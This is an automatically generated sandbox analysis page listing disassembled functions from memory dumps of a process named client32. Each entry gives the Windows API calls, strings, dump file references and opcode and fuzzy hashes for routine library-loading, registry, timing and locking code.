Function 110EAE90 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(?,?,?,110EAEDD,?,?,?,?,110EB538,?,?,00020019,DC70C1FE), ref: 110EAE9D

Part of subcall function 110EAC60: wvsprintfA.USER32(?,?,?), ref: 110EAC8B

Strings

Error %d closing regkey %x, xrefs: 110EAEAD

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Closewvsprintf
String ID: Error %d closing regkey %x
API String ID: 843752472-892920262
Opcode ID: d3fc0d82baa1ddb2271feda08d7221ea6831457fe91f5de97020d69f68cd7bd4
Instruction ID: 92a7a0ee5207e3186e072fae0831ab025553d10eab44dfd4ffee7659da325c5a
Opcode Fuzzy Hash: d3fc0d82baa1ddb2271feda08d7221ea6831457fe91f5de97020d69f68cd7bd4
Instruction Fuzzy Hash: FEE08675602152DFD335CA1EAC58F67B6D99FC9710F12456DB841D3300DB70C8418660

Function 111429E0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(NSMTRACE,?,1102D904,Function_000261F0,021BB858,?,?,?,00000100), ref: 111429F9

Part of subcall function 11141D10: GetModuleHandleA.KERNEL32(NSMTRACE,?), ref: 11141D2A

Strings

NSMTRACE, xrefs: 111429F4

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID: NSMTRACE
API String ID: 4133054770-4175627554
Opcode ID: 433502aec3a65e000fb08c2d6388570534c842de87ba222d45da2a5652d1413f
Instruction ID: 309f5c028bc3f4bd42ffbc0ff88fedcb33e8baf52d9891cbdd74bffcbc1e2387
Opcode Fuzzy Hash: 433502aec3a65e000fb08c2d6388570534c842de87ba222d45da2a5652d1413f
Instruction Fuzzy Hash: 93D05E712417378BCB17AFED98953B8FBE8B70865D3340075D825D3A04EB70E0408B61

Function 110259A0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(psapi.dll), ref: 110259A8

Strings

psapi.dll, xrefs: 110259A1

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: psapi.dll
API String ID: 1029625771-80456845
Opcode ID: dad11223205508537e44fd2c16bfa07601dbeeaf6f3e83892d3386c1115941cb
Instruction ID: e7d689bb3e0256121f65424e75b73c3f9b38c7483ec2d975ead7d22227fa1e2d
Opcode Fuzzy Hash: dad11223205508537e44fd2c16bfa07601dbeeaf6f3e83892d3386c1115941cb
Instruction Fuzzy Hash: 7DE009B1A01B118FC3B0CF3A9544646BAF0BB186103118A3ED0AEC3A00E330A5448F90

Function 68594F70 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(psapi.dll,?,68598DC8), ref: 68594F78

Strings

psapi.dll, xrefs: 68594F71

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: psapi.dll
API String ID: 1029625771-80456845
Opcode ID: db31c45bf9382b5e9960c4961a9dfe3fe824b9136a4ad7c62bc5c4ee202b4110
Instruction ID: b761ed76ea0f9ce8f81cf52a1ef79c57d507c6a42b64ba97d65a0e7c60646a59
Opcode Fuzzy Hash: db31c45bf9382b5e9960c4961a9dfe3fe824b9136a4ad7c62bc5c4ee202b4110
Instruction Fuzzy Hash: 36E001B1901B108F87B0CF3AA50464ABEF0BB086503118A2E949EC3A10E330A5858F84

Function 11015160 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(nslsp.dll), ref: 1101516E

Strings

nslsp.dll, xrefs: 11015163

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: nslsp.dll
API String ID: 1029625771-3933918195
Opcode ID: 3b59623a909b284854b1b3af36d82a4f2bbb95fba0a7c60f0ac8dd87b39ed554
Instruction ID: 0f85fd80076d2b40817f9a73906c67b3183ec9e0361306ecdf77c2e20fb6d995
Opcode Fuzzy Hash: 3b59623a909b284854b1b3af36d82a4f2bbb95fba0a7c60f0ac8dd87b39ed554
Instruction Fuzzy Hash: 9AC092B57022368FE3645F98AC585C6FBE4EB09612351886EE5B6D3704E6F09C408BE2

Function 11073E70 Relevance: 3.1, APIs: 2, Instructions: 80COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 11073ECF
FreeLibrary.KERNEL32(00000000,?,?,?,?,00000000,0000000B,?), ref: 11073F39

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FreeLibrary_memset
String ID:
API String ID: 1654520187-0
Opcode ID: fe1c8bf948e3278c6afe26251c548f96935120539d1bb6977252444f6bedd71d
Instruction ID: a025be61f5cc20f5ad5b88b5485e82962b2b8b991e0ff8e486065cca72918f8b
Opcode Fuzzy Hash: fe1c8bf948e3278c6afe26251c548f96935120539d1bb6977252444f6bedd71d
Instruction Fuzzy Hash: 8A21B076E00228A7DB10DE59EC45BEFFBB8FB44314F0041AAF9099B240E7759A54CBE1

Function 11087510 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1108752F
InitializeCriticalSection.KERNEL32(?,?,1117CF74,?), ref: 110875A0

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection_memset
String ID:
API String ID: 453477542-0
Opcode ID: e4e878cd1fd140643e157a6277fb3a3afa25cdd61848936763f5ef659ccc3049
Instruction ID: 75295544d9195e04375e6fd21bc40551df4152833ee3a01bc0b81666db33725f
Opcode Fuzzy Hash: e4e878cd1fd140643e157a6277fb3a3afa25cdd61848936763f5ef659ccc3049
Instruction Fuzzy Hash: 711157B0902B148FC3A4CF7A89816C6FAE5BB48315F90892E96EEC2200DB716564CF91

Function 11140AB0 Relevance: 3.0, APIs: 2, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 11140AD1
ExtractIconExA.SHELL32(?,00000000,00640445,0001049D,00000001), ref: 11140B08

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ExtractFileIconModuleName
String ID:
API String ID: 3911389742-0
Opcode ID: 01063847e38c2fa817ea410c82c91b75b06626eb0c876785d9cfe351996907d3
Instruction ID: fbd1f7f6eca67a3d4699d4d052ae62d0c626dfd316a41b503206f924cf5b890f
Opcode Fuzzy Hash: 01063847e38c2fa817ea410c82c91b75b06626eb0c876785d9cfe351996907d3
Instruction Fuzzy Hash: EFF02478A4511C9FEB48CFE4CC86FBDF769E784708F808269EE12871C4CE7029488740

Function 11160535 Relevance: 3.0, APIs: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 11165ABF: __getptd_noexit.LIBCMT ref: 11165ABF

__lock_file.LIBCMT ref: 1116057C
__fclose_nolock.LIBCMT ref: 11160587

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock_file
String ID:
API String ID: 2959217138-0
Opcode ID: 9c94bd5ad8adf114722855a36b49f4cfe2d274427d0abc081df420240f29e7a8
Instruction ID: c99a5f40794e7bd6d5a1a4a2a70ed171e4b9561b0896b3e5cf790a4aaee0ba1f
Opcode Fuzzy Hash: 9c94bd5ad8adf114722855a36b49f4cfe2d274427d0abc081df420240f29e7a8
Instruction Fuzzy Hash: A7F09035D11B179AD710AB7598047AEFBB86F0133CF118208C4649A1D0CBFEAA21DB96

Function 685A6C1E Relevance: 3.0, APIs: 2, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 685A6C26
Sleep.KERNEL32(00000064), ref: 685A6C5B

Part of subcall function 685A6940: GetTickCount.KERNEL32 ref: 685A6950

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 3ffbe2ba07ed7edafacd5dee2bb539a8235f082dc1d35ef028f6fdfd2a9b8d15
Instruction ID: 661e61dc1211ccd4f13e12e72c8a70072f1f8168924ab5dea67af204b1cc2986
Opcode Fuzzy Hash: 3ffbe2ba07ed7edafacd5dee2bb539a8235f082dc1d35ef028f6fdfd2a9b8d15
Instruction Fuzzy Hash: 77F05431640304CECF14EB7889983ACB6E1EB92315F92012ADA229A680E774CC80C746

Function 685963A0 Relevance: 3.0, APIs: 2, Instructions: 10sleepnetworkCOMMON

Download Yara Rule

APIs

WSACancelBlockingCall.WSOCK32 ref: 685963A9
Sleep.KERNEL32(00000032), ref: 685963B3

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: BlockingCallCancelSleep
String ID:
API String ID: 3706969569-0
Opcode ID: cf3026702103ff340213a672aac302d0c12d1cbce9ad8d3bb249a37ebd04398e
Instruction ID: 9c7c155be69afa6d0bd9e6666db90ee95b709ffd67e9b265f4dba9f265acbfe9
Opcode Fuzzy Hash: cf3026702103ff340213a672aac302d0c12d1cbce9ad8d3bb249a37ebd04398e
Instruction Fuzzy Hash: 80B092782A22A069AF40137109062BA20C80FD5287FE104602B59CA085EF20C504A5A1

Function 11141510 Relevance: 2.6, APIs: 2, Instructions: 58sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 11141430: ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,75C07310), ref: 11141457

Part of subcall function 1116076B: __fsopen.LIBCMT ref: 11160778

GetLastError.KERNEL32(?,021BB858,000000FF,?), ref: 11141545
Sleep.KERNEL32(000000C8,?,?,?,?,?,?,021BB858,000000FF,?), ref: 11141555

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnvironmentErrorExpandLastSleepStrings__fsopen
String ID:
API String ID: 3768737497-0
Opcode ID: 81746d2f9acf91c020a5a3f6663b8b5426944b6bd56996d575389eba168b1fdf
Instruction ID: 7e8c35b226adcaf9db255fe0cc88c7d1a69018d15e21d4c5589b92f150ef4e8a
Opcode Fuzzy Hash: 81746d2f9acf91c020a5a3f6663b8b5426944b6bd56996d575389eba168b1fdf
Instruction Fuzzy Hash: 19114876F00615ABDB119F90CDC0AAEF778EF46A19F244164EC06DB200E734BE518BE2

Function 11010980 Relevance: 1.7, APIs: 1, Instructions: 151COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 11010A34

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
